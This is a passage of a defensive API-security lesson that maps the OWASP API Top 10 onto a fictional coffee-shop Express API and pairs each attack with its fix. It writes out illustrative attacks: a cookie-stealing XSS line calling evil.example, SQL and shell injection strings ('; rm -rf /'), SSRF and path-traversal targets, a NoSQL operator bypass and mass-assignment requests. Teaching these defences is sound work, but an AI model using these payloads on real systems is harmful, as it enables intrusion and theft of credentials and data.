The Aroma Store API already has JWT authentication, authorisation by role and by ownership, strict validation with Zod and prepared statements against the database. That does not make it secure: it makes it not obviously insecure, which is a starting point, not a goal. An attacker does not look for vulnerabilities in the abstract; they look for another customer's order, the field you did not validate, the test endpoint you left deployed and the key that slipped into the repository.
This lesson walks the threat landscape of a REST API with the project in front of us. We will use the OWASP API Security Top 10 as our map — it is the industry standard and the vocabulary used in any audit — but every point is illustrated with a concrete request against Aroma Store and closed with the exact defence, naming the file it lives in. We will add helmet to src/app.js at its precise position in the chain, see what to do with secrets, what obligations appear the moment you touch personal data, and how images are accepted without opening a hole. By the end you will have a lightweight threat model for the project.
Important warning. This lesson teaches you to recognise and mitigate known classes of vulnerability, and to build with a reasonable level of hygiene. It does not replace a professional security review. Before exposing to the internet an API that handles real money or real personal data, the design and the implementation must be reviewed by a specialist, and a penetration test is advisable. All the data in this course is fictional.
Contents
- How an attacker thinks about an API
- The OWASP API Security Top 10 over Aroma Store
- API1: BOLA, vulnerability number one
- API2 and API5: broken authentication and function-level authorisation
- API3: excessive data exposure and mass assignment
- API4: unrestricted resource consumption
- API7: SSRF
- API8: security misconfiguration
- API9: improper inventory management
- Transport: TLS, HSTS and why HTTP is never accepted
- Injections: SQL, NoSQL, commands and XSS through the API
- Security headers and helmet in
src/app.js - Secrets management
- Personal data and the GDPR
- Coffee image uploads
- Dependencies and the supply chain
- A lightweight threat model for Aroma Store
- How an attacker thinks about an API
Before the catalogue, it is worth understanding the change of perspective. When you secure a classic web application, the attacker interacts with the screens you show them. When you secure an API, the attacker interacts with every endpoint at once, in whatever order they like, with whatever parameters they like, without going anywhere near your SPA.
Three practical consequences that govern everything else:
- Client-side validation does not exist. Any check the SPA performs is a usability improvement, never a defence.
curldoes not run your JavaScript. - Every endpoint is an independent door. The fact that
/v1/orderschecks resource ownership says nothing about/v1/orders/{id}/invoice. The contract's 24 URIs are 24 surfaces. - The attacker already has an account. The most profitable scenario is not getting in without credentials: it is registering as an ordinary
customer— something your API allows and must allow — and from there reaching other people's data. That is why most real vulnerabilities are authorisation failures, not authentication ones.
graph TD A[Attacker with a legitimate customer account] --> B[Enumerates endpoints: docs, SPA JavaScript, OpenAPI] B --> C[Tries other peoples ids: ord_5000, ord_5002] B --> D[Sends extra fields: role, active, balance] B --> E[Changes the method: GET to PUT or DELETE] B --> F[Hunts for unauthenticated endpoints: /v1-test, /debug] C --> G[BOLA: reads other peoples orders] D --> H[Mass assignment: becomes an administrator] E --> I[Broken function level authorization] F --> J[Uncontrolled inventory]
- The OWASP API Security Top 10 over Aroma Store
The OWASP API Security Top 10 is the list of the ten most frequent and most damaging classes of vulnerability in APIs, published by the Open Worldwide Application Security Project. The current version is the 2023 one.
| No. | Name | In Aroma Store | Status |
|---|---|---|---|
| API1 | BOLA — Broken Object Level Authorization | Reading ord_5001 as a different customer |
Mitigated in 03-06; reinforced here |
| API2 | Broken authentication | Brute force on POST /v1/sessions, badly validated JWT |
Partial; see 04-03 and 04-04 |
| API3 | Broken object property level authorization | Returning password_hash; accepting "role" on registration |
Mitigated: mapper + .strict() |
| API4 | Unrestricted resource consumption | ?limit=100000, uncapped expand, large uploads |
Partial; closed in 04-04 |
| API5 | Broken Function Level Authorization | A customer calling POST /v1/coffees |
Mitigated with requireRole |
| API6 | Unrestricted access to sensitive business flows | Buying the whole stock of a limited edition with a script | Design + limits (04-04) |
| API7 | SSRF | The API downloads a coffee's image from a given URL | Outstanding: section 7 |
| API8 | Security misconfiguration | Missing headers, open CORS, stack traces in production | Closed here and in 04-05 |
| API9 | Improper inventory management | A forgotten /v1-beta, an exposed test environment |
Process: section 9 |
| API10 | Unsafe consumption of third-party APIs | Trusting SwiftShip's response without validating it | Section 7 |
Notice one revealing fact: five of the ten are authorisation or data-exposure problems, not cryptography or injection. An API's security is decided above all in "who can see and do what", which is exactly where automated tools help least, because only you know what is correct in your domain.
- API1: BOLA, vulnerability number one
BOLA (Broken Object Level Authorization), also called IDOR (Insecure Direct Object Reference), is the most frequent and most exploited API vulnerability. The mechanism is trivial:
# Marta (cus_842) authenticates legitimately.
curl -s -X POST https://api.aromastore.example/v1/sessions \
-H 'Content-Type: application/json' \
-d '{"email":"[email protected]","password":"AFictionalPassword123"}'
# → 200 { "accessToken": "eyJhbGciOi..." }
# Her own order: correct.
curl -s https://api.aromastore.example/v1/orders/ord_5001 \
-H 'Authorization: Bearer eyJhbGciOi...'
# → 200
# And now she tries the one next door.
curl -s https://api.aromastore.example/v1/orders/ord_5002 \
-H 'Authorization: Bearer eyJhbGciOi...'
# → 200? Then you have a BOLA.The token is valid, the route exists, the resource exists. Authentication works perfectly and the API is compromised, because nobody has checked that the order belongs to whoever is asking for it. With a 10,000-iteration loop the attacker walks off with the entire order database, complete with names, addresses and amounts.
The defence, which we already implemented in 03-06, has to be stated as a rule with no exceptions:
Every operation that receives an identifier in the URI must check that the authenticated subject has a right over THAT specific object, on every request.
// src/services/orders.js — the ownership check, revisited
export async function getOrder(id, requester) {
const order = await orderRepository.findById(id);
// 1. It does not exist: 404.
if (!order) throw errors.notFound('order_not_found', `Order ${id} does not exist.`);
// 2. It exists but it is not theirs and they have no elevated role.
// We answer 404, NOT 403: see below.
const isOwner = order.customerId === requester.id;
const isStaff = requester.role === 'employee' || requester.role === 'administrator';
if (!isOwner && !isStaff) {
throw errors.notFound('order_not_found', `Order ${id} does not exist.`);
}
return order;
}Four details that separate a real check from a decorative one:
Answer 404 and not 403 when the resource belongs to somebody else. A 403 confirms that ord_5002 exists, and that is already information: it lets you enumerate how many orders there are and when they were created. A 404 does not distinguish "does not exist" from "is not yours", which is exactly what we want. The exception is when the resource is public and the only problem is write permission; there 403 insufficient_permissions is correct and more useful.
The check goes in the service, not in the controller. If it lives in the controller, the day another controller reuses the service the check disappears without anyone noticing.
The subject comes from the token, never from the request. This is the classic mistake:
// ❌ CATASTROPHIC: the client decides who it is.
const orders = await orderRepository.findByCustomer(req.query.customerId);
// ✅ The identifier comes from the verified token.
const customerId = req.user.role === 'customer' ? req.user.id : req.query.customerId;Opaque identifiers are not a defence, but they help. ord_5001 is sequential and guessable; a UUID such as ord_9f3a... is not. That does not fix BOLA — an attacker who obtains an identifier by another route still gets in — but it turns a mass sweep into a targeted attack. It is defence in depth, not a substitute.
And it has to be tested. The only way a BOLA does not come back is an integration test that fails if somebody removes the check; in 03-08 we wrote exactly that test, and you need one per owned resource.
- API2 and API5: broken authentication and function-level authorisation
Broken authentication (API2)
The usual failures and their status in the project:
| Failure | Risk | Defence | Where |
|---|---|---|---|
| Passwords in the clear or with MD5/SHA1 | A database dump = every account | bcrypt with cost ≥ 12 |
03-06 |
Brute force against /v1/sessions |
Compromised accounts | A strict limit per IP and per email address | 04-04 |
| User enumeration | A list of valid email addresses | The same message and timing for a wrong email or a wrong password | 03-06 |
| A token with no expiry | Permanent theft | A short exp (15 min) + refresh |
03-06 |
Accepting alg: none or confusing HS/RS |
Total token forgery | Pin the expected algorithm when verifying | Below |
| A weak signing secret | A forgeable signature | ≥ 32 random bytes, in the secrets manager | Section 13 |
| A token in the URL | It ends up in logs, history and Referer |
Only in Authorization: Bearer |
Contract |
The alg: none one deserves code, because it is a one-line failure with total consequences:
// ❌ VULNERABLE: accepts whatever algorithm the token itself claims.
jwt.verify(token, environment.jwtSecret);
// ✅ The expected algorithm is pinned; a token with alg:none or alg:RS256 is rejected.
jwt.verify(token, environment.jwtSecret, {
algorithms: ['HS256'], // a closed allowlist
issuer: 'api.aromastore.example',
audience: 'aromastore-spa',
clockTolerance: 5, // seconds of slack for clock drift
});Without algorithms, an attacker can present a token with the header {"alg":"none"} and no signature at all, or sign with HMAC using the RSA public key as the key when the server expects RS256. Both attacks are historical, are automated in every tool out there, and are closed off by that allowlist.
Function-level authorisation (API5)
If BOLA is "I can see somebody else's object", API5 is "I can execute a function that is not mine to execute":
# Marta has the 'customer' role. She tries to create a coffee.
curl -s -X POST https://api.aromastore.example/v1/coffees \
-H 'Authorization: Bearer <customer token>' \
-H 'Content-Type: application/json' \
-d '{"name":"Pirate Coffee","origin":"None","roast":"light","priceEuros":0.01,"stock":9999}'
# Must answer 403 insufficient_permissionsThe requireRole('employee','administrator') from 03-06 covers it, but the vulnerability always comes back the same way: the new endpoint that gets deployed without the middleware. Three process measures are worth more than any amount of code:
- Deny by default: make the absence of a decision mean "forbidden", not "allowed".
- A written permission matrix (the one from 03-06) reviewed in every pull request that adds a route.
- One test per cell of the matrix: each role against each sensitive operation.
And one specific failure that slips through often: changing the method on the same path. If GET /v1/coffees/{id} is public and PUT /v1/coffees/{id} requires a role, check that the PUT really does require it and that a PATCH has not been left unprotected because it was added later. The router.all(...) with methodNotAllowed(...) that already closes off every route helps, because an undeclared method returns 405 instead of falling into an unexpected handler.
- API3: excessive data exposure and mass assignment
They are the two faces of the same mistake: letting the internal model talk directly to the world.
Excessive exposure (output)
// ❌ What goes out if you do res.json(databaseRow)
{
"id": "cus_842",
"email": "[email protected]",
"password_hash": "$2b$12$K7x...",
"phone": "+34 600 000 000",
"address": "1 Fictional Street, Valencia",
"active": 1,
"role": "customer",
"failed_attempts": 2,
"recovery_token": "rec_9f3a2b...",
"internal_notes": "Customer complained twice"
}Every extra field is a separate vulnerability: the hash enables an offline dictionary attack, recovery_token allows an account takeover, internal_notes is a GDPR and reputation problem, and failed_attempts helps time an attack.
The defence is the mapper from 03-03 and it consists of an allowlist, never a blocklist:
// src/services/mappers.js
export function customerToPublicRepresentation(row) {
return { // ALLOWLIST: only this goes out
id: row.id,
name: row.name,
email: row.email,
};
}The difference between an allowlist and a blocklist is not stylistic: with a blocklist (delete row.password_hash), the column you add six months from now publishes itself. With an allowlist, the worst case is that a new field does not appear until you add it, which is a harmless bug.
And there is a second level that gets forgotten: which fields each role sees. A customer's email address may be visible to them and to an employee, and not to another customer reading one of their reviews. That means the mapper sometimes needs to know who is asking:
export function customerToRepresentationForRole(row, requester) {
const base = { id: row.id, name: row.name };
const isSelf = requester?.id === row.id;
const isStaff = requester?.role === 'employee' || requester?.role === 'administrator';
if (isSelf || isStaff) {
return { ...base, email: row.email, phone: row.phone };
}
return base; // a third party sees only id and name
}Mass assignment (input)
The classic attack, in two lines:
curl -s -X POST https://api.aromastore.example/v1/customers \
-H 'Content-Type: application/json' \
-d '{"name":"Attacker","email":"[email protected]","password":"Fictional123","role":"administrator"}'If the controller does repository.create(req.body), you have just given the shop away. Same story with "active": true to skip email verification, "balance": 1000 in a wallet or "version": 99 to bypass optimistic concurrency.
In Aroma Store this was already blocked back in 03-04, and it is worth seeing exactly why:
// src/schemas/customers.js
export const registrationSchema = z
.object({
name: z.string().min(2).max(80),
email: z.string().email(),
password: z.string().min(10).max(128),
})
.strict(); // ← THIS line is the defence.strict() makes Zod reject any key that is not declared, returning 400 invalid_data. Without .strict(), Zod uses its default mode: it silently strips unknown keys from the resulting object. That would also protect you if and only if the controller uses the validated result and not the original req.body — which is the trap a lot of people fall into:
// ❌ Validates and then ignores the validation: the role gets back in.
validate(registrationSchema, 'body');
const customer = await service.register(req.body); // ← the original, dirty
// ✅ The validated object is ALWAYS the one used.
const customer = await service.register(req.validatedData); // ← clean and typedThat is why the validate middleware from 03-04 leaves its result in req.validatedData and the controllers only read from there. It is a convention with security value, not stylistic value.
| Approach | New column in the database | Unknown field in the request | Verdict |
|---|---|---|---|
repository.create(req.body) |
Written on its own | Written | Vulnerable |
Zod without .strict() + req.body |
Written on its own | Written | Vulnerable |
Zod without .strict() + validated |
Not written | Silently discarded | Acceptable |
Zod with .strict() + validated |
Not written | An explicit 400 | Correct |
The last row is better than the third for a reason that goes beyond security: the 400 warns the honest consumer that their field has a typo, instead of letting them believe they have saved something.
- API4: unrestricted resource consumption
An attacker does not always want your data; sometimes it is enough for your API to stop working, or for your infrastructure bill to explode. The vectors in Aroma Store:
| Vector | Request | Defence | Where |
|---|---|---|---|
| Mass requests | 10,000 GET /v1/coffees per second |
Rate limiting | 04-04 |
| A giant page | ?limit=1000000 |
Maximum 100, validated | 03-03 |
| Deep offset | ?offset=50000000 |
Maximum 10,000 | 03-03 |
| Nested expansion | expand=items.coffee.reviews.author |
Depth 2 + allowlist | 04-01 |
| A huge body | A 500 MB POST |
express.json({limit:'100kb'}) |
03-02 |
| An expensive search | ?q= with wildcards over 4M rows |
An index, a minimum length, its own limit | 03-05 / 04-04 |
| Image uploads | 200 files of 50 MB | Size, count and type | Section 15 |
| Emails and SMS | Repeated registration to burn your quota | A limit per IP and per recipient | 04-04 |
Three were already in place, three are closed in the next lesson and one in this one. What matters now is recognising the common pattern: any parameter the consumer controls and that multiplies your work is an availability vector. When you design a new parameter, the compulsory question is "what is the most expensive value anyone can send me?".
- API7: SSRF
SSRF (Server-Side Request Forgery) happens when your server makes a network request to a URL the user chooses. It appears naturally in Aroma Store the moment an image is accepted by URL:
POST /v1/coffees/cof_001/image HTTP/1.1
Content-Type: application/json
{ "url": "https://cdn.example.com/ethiopia.jpg" }Your server downloads that URL. Now the attacker sends:
That address is the metadata service of most clouds: from inside the machine it returns temporary credentials for the account. Other variants: http://localhost:6379 to talk to your Redis, http://10.0.3.14:5432 to scan the internal network, or file:///etc/passwd.
The defence is an allowlist of destinations, not a blocklist of addresses:
// src/services/downloads.js
import dns from 'node:dns/promises';
import net from 'node:net';
const ALLOWED_DOMAINS = new Set(['cdn.example.com', 'images.aromastore.example']);
function isPrivate(ip) {
if (net.isIPv4(ip)) {
const [a, b] = ip.split('.').map(Number);
return a === 10 || a === 127 || (a === 172 && b >= 16 && b <= 31) ||
(a === 192 && b === 168) || (a === 169 && b === 254) || a === 0;
}
return ip === '::1' || ip.startsWith('fc') || ip.startsWith('fd') || ip.startsWith('fe80');
}
export async function downloadImageSafely(urlText) {
const url = new URL(urlText);
// 1. HTTPS only: no file://, gopher://, ftp://.
if (url.protocol !== 'https:') throw errors.invalidData('The scheme must be https.');
// 2. An allowlist of domains.
if (!ALLOWED_DOMAINS.has(url.hostname)) {
throw errors.invalidData('Image domain not allowed.');
}
// 3. Resolve the name and check that it does NOT point to an internal IP.
const { address } = await dns.lookup(url.hostname);
if (isPrivate(address)) throw errors.invalidData('Destination not allowed.');
// 4. Do not follow redirects: a 302 can lead to 169.254.169.254.
const response = await fetch(url, { redirect: 'error', signal: AbortSignal.timeout(5000) });
return response;
}Steps 3 and 4 are the ones people forget. Step 3 stops an allowed domain deliberately pointing at an internal IP; step 4 stops a redirect doing it after the check. Even so a known race remains (DNS rebinding: the name resolves to a different IP between the check and the connection), which is why the robust solution in production is to make these downloads from an isolated network or through an egress proxy with an allowlist, not with code alone.
And the flip side (API10): when you consume a third-party API such as SwiftShip's, its response is untrusted input. It is validated against a schema just like a client's, it gets a timeout, and it is not forwarded verbatim to your consumers.
- API8: security misconfiguration
It is the most boring category and the one that causes the most incidents, because exploiting it requires no skill whatsoever. The checklist for Aroma Store:
| Point | Desired state | How it is verified |
|---|---|---|
x-powered-by |
Disabled | Already in src/app.js |
| Stack traces in production | Never | NODE_ENV, validated at start-up (03-01) |
| Security headers | helmet | Section 12 |
| CORS | An allowlist, not * with credentials |
04-05 |
| HTTP methods | Only the declared ones; 405 for the rest |
methodNotAllowed |
| TLS | Mandatory, version ≥ 1.2 | Section 10 |
| Administrative ports | Not exposed (SQLite, Redis, metrics) | Network and firewall |
| Repository files | .env, .git, backups off the server |
Deployment |
| Error messages | No versions and no paths | 03-07 |
| Default registration | No elevated role, no automatic active:true |
Schemas |
| Debugging | --inspect never in production |
Start-up |
One concrete and very real case deserves attention: the .git directory being served. If the deployment copies the entire repository to the web root, anyone can download your complete history, including the secrets you deleted in a later commit. And the .env: if one day somebody adds an express.static('.') to serve a single file, it also serves the .env with the signing key in it.
- API9: improper inventory management
You cannot protect what you do not know exists. The typical cases, all seen in real production:
- The previous version is still up. You retire
/v1when/v2ships, but the old process keeps listening, without the new patches. - The test environment is public.
api-test.aromastore.examplewith real data copied from production, no rate limiting and test users whose password istest1234. - Forgotten debug endpoints.
/debug/status,/v1/_admin/reset,/health/detailedreturning the complete configuration. - Exposed interactive documentation. A public Swagger UI listing every internal endpoint, including the ones you did not want to announce.
- A subdomain pointing at a service you no longer control, letting a third party serve content under your domain.
The measures are about process, not code:
- A written inventory of environments and deployed versions, with an owner and a retirement date.
openapi.yamlas the single source of truth: if an endpoint is not in the contract, it should not be deployed. A smoke test can compare the routes registered in Express against those in the YAML and fail if there are any extras.- Synthetic test data: never a copy of production in a test environment; it is also a GDPR breach.
- Retirement with a date: the
Deprecation/Sunsetprocess from 02-07 ends by switching the service off, not merely by documenting it.
- Transport: TLS, HSTS and why HTTP is never accepted
Without TLS, everything else is decorative: the Bearer token travels in the clear and anyone on the same network reads it and reuses it.
Non-negotiable rules:
- HTTPS across the whole API domain, with no exceptions, not even on
/health. - TLS 1.2 as a minimum, preferably 1.3. SSLv3, TLS 1.0 and 1.1 are retired.
- HTTP only to redirect. Port 80 answers
301towardshttps://and nothing else. - HSTS, so the browser does not try HTTP again.
max-age=31536000 is 365 days: during that time the browser converts any http:// for that host into https:// before sending anything, which closes the first-hop window where the token gets stolen. includeSubDomains extends the policy to every subdomain — careful if one of them has no certificate, it will stop working — and preload lets you register the domain in the list browsers ship with, so the protection exists even on the very first visit. preload is hard to reverse: do not add it until you are sure.
An important warning about scope: only browsers understand HSTS. The Aroma Mobile app and SwiftShip's server do not apply it, so for them the defence is not accepting HTTP at all and, in the mobile app's case, pinning the certificate (certificate pinning) if the risk justifies it.
In practice, Aroma Store's TLS is not terminated by Express: it is terminated by the load balancer or the CDN sitting in front. That means Express receives HTTP internally and needs to know that the original request was secure, something configured with app.set('trust proxy', 1) and with direct consequences for rate limiting by IP (04-04) and for Secure cookies.
- Injections: SQL, NoSQL, commands and XSS through the API
SQL
It is already mitigated, but it is worth seeing exactly why. In 03-05 every query uses better-sqlite3 prepared statements:
// ✅ A prepared statement: the value is NEVER interpreted as SQL.
const query = db.prepare('SELECT * FROM coffees WHERE origin = ? AND price_cents <= ?');
const rows = query.all(origin, maxPriceCents);
// ❌ Concatenation: `origin = 'x' OR '1'='1'` empties the table; `; DROP TABLE coffees;--` deletes it.
const rows = db.prepare(`SELECT * FROM coffees WHERE origin = '${origin}'`).all();The technical difference is that a prepared statement sends the query's structure and the data down separate paths: the engine has already decided what counts as syntax before it ever sees your value.
There is one point that prepared statements do not cover: identifiers (column names and sort direction) cannot be parameterised. And that is where ?sort= comes in:
// ❌ Injection through the column name.
db.prepare(`SELECT * FROM coffees ORDER BY ${req.query.sort}`).all();
// ✅ Allowlist: the user's text only SELECTS from a fixed map.
const COLUMNS = { name: 'name', priceEuros: 'price_cents', stock: 'stock', id: 'id' };
const field = COLUMNS[requestedField];
if (!field) throw errors.invalidData(`The field '${requestedField}' is not sortable.`);
const direction = descending ? 'DESC' : 'ASC'; // fixed values, not the user's
db.prepare(`SELECT * FROM coffees ORDER BY ${field} ${direction}, id ASC`).all();The general principle: if something cannot be parameterised, it is selected from an allowlist; user text is never concatenated.
NoSQL
Aroma Store uses SQLite, but the pattern is worth recognising because it is very common. In MongoDB, if you pass a JSON object straight through as a filter:
{ "email": "[email protected]", "password": { "$gt": "" } }{"$gt": ""} is an operator meaning "any value greater than the empty string", that is, any password at all. The defence is not escaping: it is validating the types with Zod before touching the database, so that password must be a string and an object is rejected with a 400. Once again, the strict validation from 03-04 is a security defence, not merely a data-quality one.
Commands
If one day you generate a thumbnail by calling a binary:
import { execFile } from 'node:child_process';
// ❌ exec goes through the shell: `; rm -rf /` gets executed.
exec(`convert ${fileName} -resize 200x200 output.jpg`);
// ✅ execFile does not use a shell and the arguments are passed separately.
execFile('convert', [validatedPath, '-resize', '200x200', outputPath]);And with the path validated separately, to prevent path traversal (../../etc/passwd): a file path is never built by concatenating user text; a name of your own is generated instead.
Reflected XSS through an API
An API that returns JSON does not execute HTML, so it looks immune. It is not entirely, for two reasons:
Storage and reflection. If a review's comment contains <script>fetch('https://evil.example?c='+document.cookie)</script>, your API stores it verbatim and returns it verbatim. The problem detonates in the SPA if it inserts it with innerHTML. The primary responsibility for escaping belongs to the client — because only the client knows the context it is painting into — but the API can and should help: reject or sanitise HTML in fields that do not need it, and cap lengths.
A response interpreted as HTML. If your API returns an error with the user's text reflected in it and a wrong or absent Content-Type, a browser may try to guess it (MIME sniffing) and execute it. The two defences are the X-Content-Type-Options: nosniff header and always returning an explicit Content-Type: application/json. Which is exactly what comes next.
- Security headers and helmet in
src/app.js
src/app.jshelmet is a middleware that sets a group of security headers with sensible defaults. It was designed for applications that serve HTML, so in a JSON API some headers are irrelevant and others are important; you need to know which is which.
// src/middleware/security.js (NEW file)
import helmet from 'helmet';
/**
* Security headers for an API that only returns JSON.
* The policies designed for HTML are explicitly disabled,
* and the ones that genuinely protect an API consumer are kept.
*/
export const securityHeaders = helmet({
// 1. A restrictive CSP: the API serves no HTML and loads no resources.
// If a browser ever ended up interpreting a response, it could execute nothing.
contentSecurityPolicy: {
useDefaults: false,
directives: {
"default-src": ["'none'"],
"frame-ancestors": ["'none'"],
"base-uri": ["'none'"],
"form-action": ["'none'"],
},
},
// 2. HSTS: one year, subdomains included. No 'preload' until we are sure.
hsts: { maxAge: 31536000, includeSubDomains: true, preload: false },
// 3. nosniff: forbids guessing the content type.
noSniff: true,
// 4. No Referer towards other origins: the URIs carry resource ids.
referrerPolicy: { policy: 'no-referrer' },
// 5. Not embeddable in an iframe.
frameguard: { action: 'deny' },
// 6. Hides the technology (redundant with app.disable, kept just in case).
hidePoweredBy: true,
// --- Disabled: they only apply to HTML documents ---
crossOriginEmbedderPolicy: false, // would break legitimate consumers and contribute nothing
crossOriginOpenerPolicy: false, // only makes sense for browser windows
originAgentCluster: false,
});What each header does and how much it matters in an API:
| Header | Value | What it does | Importance in a JSON API |
|---|---|---|---|
Strict-Transport-Security |
max-age=31536000; includeSubDomains |
Forces HTTPS in the browser | High |
X-Content-Type-Options |
nosniff |
Prevents type guessing | High |
Content-Security-Policy |
default-src 'none' |
Nothing can be loaded or executed | Medium (defence in depth) |
Referrer-Policy |
no-referrer |
Does not leak the URI to third parties | Medium |
X-Frame-Options |
DENY |
Not embeddable | Low (there is no UI) |
Cross-Origin-Resource-Policy |
same-origin |
Limits who can embed the response | Low; careful: it can get in CORS's way |
X-XSS-Protection |
0 |
Disables an obsolete and dangerous filter | Low |
X-DNS-Prefetch-Control |
off |
DNS prefetching | None |
A practical warning: crossOriginResourcePolicy set to same-origin can block the SPA in some browser scenarios. If your API has consumers on other origins — and Aroma Store does — set it to cross-origin or disable it, and rely on CORS for access control. That adjustment is decided in 04-05 along with the rest of the policy.
The exact position in the chain
// src/app.js (extract after 04-02)
import express from 'express';
import { v1Routes } from './routes/index.js';
import { assignTraceId } from './middleware/trace.js';
import { securityHeaders } from './middleware/security.js'; // ← NEW
import { notFoundHandler } from './middleware/not-found.js';
import { errorHandler } from './middleware/errors.js';
export const app = express();
app.disable('x-powered-by'); // 1
app.use(assignTraceId); // 2
app.use(securityHeaders); // 3 ← NEW: before anything that can respond
// (4) cors → 04-05
// (5) logRequests → 04-07 replaces the current console.log
// (6) rateLimiter → 04-04
app.use(express.json({ limit: '100kb', type: ['application/json', 'application/merge-patch+json'] }));
app.use(express.urlencoded({ extended: false, limit: '10kb' }));
app.get('/health', (req, res) => res.json({ status: 'ok' }));
app.use('/v1', v1Routes);
app.use(notFoundHandler);
app.use(errorHandler);Why position 3, after the trace and before everything else. helmet sets headers on the response; for those headers to be present on every response — including the rate limiter's 429s, the JSON parser's 400s, the unknown-route 404s and the error handler's 500s — it has to run before any middleware capable of responding. It goes after assignTraceId purely because the trace must exist from the very first instant so that anything happening afterwards can be correlated, including a failure inside helmet itself.
A quick check:
curl -sI https://api.aromastore.example/v1/coffees | grep -Ei 'strict-transport|content-type-options|content-security|referrer'
- Secrets management
A secret is any value whose disclosure compromises the system: the JWT signing key, the database password, the HMAC key for the webhooks to SwiftShip, the payment provider's credentials.
The minimum rules:
| Rule | Reason |
|---|---|
| Never in the source code | The repository gets cloned, gets shared and keeps its history for ever |
Never in the repository, not even in .env |
.env goes in .gitignore; only .env.example with fake values is versioned |
| Injected as environment variables | It is the standard contract of every modern deployment |
| Different per environment | A test secret never opens production |
| Long and random | 32 bytes from crypto.randomBytes, not secret123 |
| Rotatable without stopping the service | See below |
| Never in the logs or in URLs | See 04-07 |
In 03-01 we already validated the configuration at start-up; it is worth adding a strength check, because a weak secret in production is as serious as none at all:
// src/config/environment.js (fragment)
const environmentSchema = z.object({
NODE_ENV: z.enum(['development', 'test', 'production']),
JWT_SECRET: z.string().min(32, 'JWT_SECRET must be at least 32 characters long'),
WEBHOOK_HMAC_SECRET: z.string().min(32),
// ...
}).superRefine((values, ctx) => {
const weak = ['secret', 'changeme', 'test', 'dev'];
if (values.NODE_ENV === 'production' && weak.some((w) => values.JWT_SECRET.includes(w))) {
ctx.addIssue({ code: 'custom', message: 'JWT_SECRET looks like an example value.' });
}
});Having the process fail to start is the right outcome: a loud failure at deployment time is infinitely better than a system running with an example secret.
Secrets managers. In production, the environment variables are populated from a manager — HashiCorp Vault, AWS Secrets Manager, Google Secret Manager, Azure Key Vault — which provides what a file cannot: access control by identity, an audit trail of who read what and when, versioning and rotation.
Rotation. A secret must be changeable without cutting off the service, and that forces you to accept two at once during the transition. For JWT signing: you sign with the new key and accept verification with the new one and the previous one until every issued token has expired (15 minutes with our configuration). Designing the code to accept a list of verification keys, rather than a single one, is what makes rotation possible; in 04-03 you will see that OAuth solves this natively with kid and JWKS.
If a secret leaks, the order matters and it has to be written down before you need it:
- Rotate first, investigate afterwards. The leaked secret is revoked immediately.
- Invalidate everything derived from it: every token signed with that key, every session.
- Review the access logs from the probable date of the leak onwards.
- Delete it from the Git history (
git filter-repo) and force the rewrite — but assuming the secret is already public: if it was ever in a repository, it is considered compromised for ever. - Notify as appropriate; if personal data is involved, there are legal deadlines (section 14).
- Add detection: a secret scanner in continuous integration (
gitleaks,trufflehog) so it does not happen again.
- Personal data and the GDPR
Aroma Store stores names, email addresses, delivery addresses and purchase history. All of that is personal data and its processing is regulated in the EU by the GDPR. Exhausting the regulation is not the subject of this lesson, but knowing the direct technical consequences is, because they affect the design of the API.
Warning. What follows are common technical implications, not legal advice. Any system processing real personal data needs a compliance review by whoever is responsible for it in your organisation.
| Principle | Technical implication in Aroma Store |
|---|---|
| Minimisation | Do not ask for a date of birth if you do not use it. Every field you do not collect is a field you cannot leak |
| Purpose limitation | Order data is not used for anything else without a legal basis |
| Storage limitation | Orders and addresses have a retention date; a process exists that deletes them |
| Integrity and confidentiality | TLS in transit, encryption at rest, access by role |
| Accountability | A log of access to personal data, auditable |
| Right of access and portability | A process capable of exporting everything belonging to a customer |
| Right to erasure | See below: it clashes with soft deletion |
| Breach notification | A procedure and deadlines defined before the incident |
Do not record sensitive data in the logs. This is where things go wrong most often, because logs get copied, get sent to external services and are kept for a long time. Passwords, tokens, the Authorization header, card numbers, complete postal addresses and email addresses in the clear must never appear. We will implement automatic redaction and the detail of what gets logged in 04-07; it is worth knowing already that this is a legal requirement and not just good practice.
Encryption at rest. The SQLite file, the backups and the dumps must be encrypted at disk or file level. An unencrypted backup in a badly configured bucket is one of the most frequent causes of a breach.
The right to erasure versus soft deletion. There is a real clash here that has to be resolved consciously. In 03-05 we used active = 0 for soft deletion, because it lets us preserve referential integrity: an order points at a customer and cannot be left orphaned. But "marking as inactive" is not deletion as far as the GDPR is concerned.
The usual solution is selective anonymisation or pseudonymisation: the record survives as an accounting entity, but stops identifying anybody.
// src/services/customers.js
export async function exerciseRightToErasure(customerId) {
return db.transaction(() => {
// 1. The direct identifiers are anonymised.
customerRepository.anonymise(customerId, {
name: 'Deleted customer',
email: `deleted+${customerId}@invalid.example`, // .invalid never resolves
phone: null,
password_hash: null,
anonymised_at: new Date().toISOString(),
});
// 2. The personal data embedded in the orders is cleaned out,
// keeping the amounts: there is a tax obligation to retain them.
orderRepository.anonymiseAddressesOf(customerId);
// 3. Reviews: the text is kept, the author is detached.
reviewRepository.detachAuthor(customerId);
// 4. Every session and refresh token is revoked.
sessionRepository.revokeAllFor(customerId);
})();
}The comments point at the underlying tension: the tax obligation to keep invoices for years coexists with the right to erasure, and it is resolved by keeping the economic data and removing the identifying data. The specific decision about what is kept and for how long is not a technical one: it requires a compliance review. What is a technical responsibility is that the system can do it: if the design does not contemplate anonymisation from the start, complying later is extremely expensive. And do not forget the backups and the logs: if you keep backups for a year, the data is still there; the retention policy has to be documented.
- Coffee image uploads
POST /v1/coffees/{id}/image accepts a file. Every upload is untrusted input and, on top of that, input that will later be served to other users.
| Control | Rule in Aroma Store | Why |
|---|---|---|
| Maximum size | 2 MB | Availability and cost |
| Number per request | 1 | Prevents amplification |
| Allowed types | image/jpeg, image/png, image/webp |
A closed allowlist |
| Real verification | Read the magic bytes, do not trust the Content-Type |
The client lies |
| File name | Generated by the server (cof_001-a3f9.webp) |
Prevents traversal and collisions |
| Location | Outside the server root, in object storage | An uploaded .php or .js does not execute |
| Served from | A different domain (images.aromastore.example) |
Isolates it from the API's domain |
| Reprocessing | Re-encode the image before storing it | Strips metadata and payloads |
| EXIF metadata | Removed | It can contain GPS coordinates |
Verification by content, which is the one almost nobody does:
// src/services/images.js
const SIGNATURES = [
{ type: 'image/jpeg', bytes: [0xff, 0xd8, 0xff] },
{ type: 'image/png', bytes: [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] },
{ type: 'image/webp', bytes: [0x52, 0x49, 0x46, 0x46] }, // 'RIFF' (+ 'WEBP' at byte 8)
];
export function detectRealType(buffer) {
for (const signature of SIGNATURES) {
const matches = signature.bytes.every((b, i) => buffer[i] === b);
